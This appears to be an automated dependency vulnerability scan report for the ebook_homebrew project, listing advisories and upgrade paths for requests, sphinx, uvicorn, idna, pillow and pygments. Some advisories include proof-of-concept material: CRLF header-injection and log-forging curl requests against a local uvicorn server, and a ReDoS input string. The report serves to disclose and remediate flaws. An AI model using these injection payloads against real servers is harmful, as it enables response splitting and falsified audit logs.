  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1
    Remediation: Upgrade to sphinx@3.3.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression in the function load_v2 of inventory.py.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1
    Remediation: Upgrade to sphinx@3.3.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in google style docs, due to using an inefficient regex pattern with quantified overlapping adjacency.

PoC

" " * 5000 + "!"

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

medium severity

HTTP Response Splitting

  • Vulnerable module: uvicorn
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 uvicorn@0.8.6
    Remediation: Upgrade to responder@2.0.7.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to HTTP Response Splitting. Uvicorn's implementation of the HTTP protocol for the httptools parser is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.

PoC

async def app(scope, receive, send):
    assert scope['type'] == 'http'
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'Content-Type', b'text/plain'],
            [b'Referer', scope['path'].encode()],
        ]
    })  
    await send({
        'type': 'http.response.body',
        'body': b'Hello, world!',
    })

uvicorn poc-3:app --port 9999 --http httptools


To exploit this vulnerability, make a GET request with a crafted URL path like so:


curl -v 'http://localhost:9999/foo%0d%0abar:%20baz'

Uvicorn will return an additional HTTP header "bar" with the value "baz":

* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 9999 (#0)
> GET /foo%0d%0abar:%20baz HTTP/1.1
> Host: localhost:9999
> User-Agent: curl/7.58.0
> Accept: */*
>

< HTTP/1.1 200 OK
< date: Sun, 26 Apr 2020 22:38:18 GMT
< server: uvicorn
< content-type: text/plain
< referer: /foo
< bar: baz
< transfer-encoding: chunked
<

Remediation

Upgrade uvicorn to version 0.11.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 idna@3.10
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 idna@3.10
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 idna@3.10
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 idna@3.10
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 idna@3.10
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.2.0.

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound. An attacker can cause unexpected behavior by supplying a font where each glyph advances by an excessively large amount.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pygments
  • Introduced through: sphinx@2.3.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 pygments@2.17.2
    Remediation: Upgrade to sphinx@2.3.1.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 pygments@2.17.2
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the AdlLexer class in the archetype.py file. A user can cause excessive resource consumption.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pygments to version 2.20.0 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 certifi@2026.7.22
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 certifi@2026.7.22
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 certifi@2026.7.22
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 certifi@2026.7.22
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 certifi@2026.7.22

MPL-2.0 license

medium severity

LGPL-2.1 license

  • Module: chardet
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 chardet@5.2.0

LGPL-2.1 license

low severity

Log Injection

  • Vulnerable module: uvicorn
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 uvicorn@0.8.6
    Remediation: Upgrade to responder@2.0.7.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to Log Injection. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of uvicorn is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with urllib.parse.unquote, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators.

By requesting URLs with crafted paths, attackers can:

  • Pollute uvicorn's access logs, therefore jeopardising the integrity of such files.
  • Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).

PoC

async def app(scope, receive, send):
    print(scope)
    assert scope['type'] == 'http'
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'Content-Type', b'text/plain']
        ]
    })  
    await send({
        'type': 'http.response.body',
        'body': b'Hello, world!',
    })
`

curl -v 'http://localhost:9999/logfile-injection%20HTTP%2f1.1%22%20200%20OK%0d%0aINFO:%20%20%20%20%208.8.8.8:1337%20-%20%22POST%20/admin/fake-action'

$ cat log.txt

INFO:     127.0.0.1:49242 - "GET /logfile-injection HTTP/1.1" 200 OK
INFO:     8.8.8.8:1337 - "POST /admin/fake-action HTTP/1.1" 200 OK

The previous GET request added a fake entry to the log file, stating that the host at 8.8.8.8 made a POST request to /admin/fake-action.

Remediation

Upgrade uvicorn to version 0.11.7 or higher.

References

low severity

Command Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Command Injection via the get_command function. An attacker can execute arbitrary commands by supplying a file path containing shell metacharacters.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References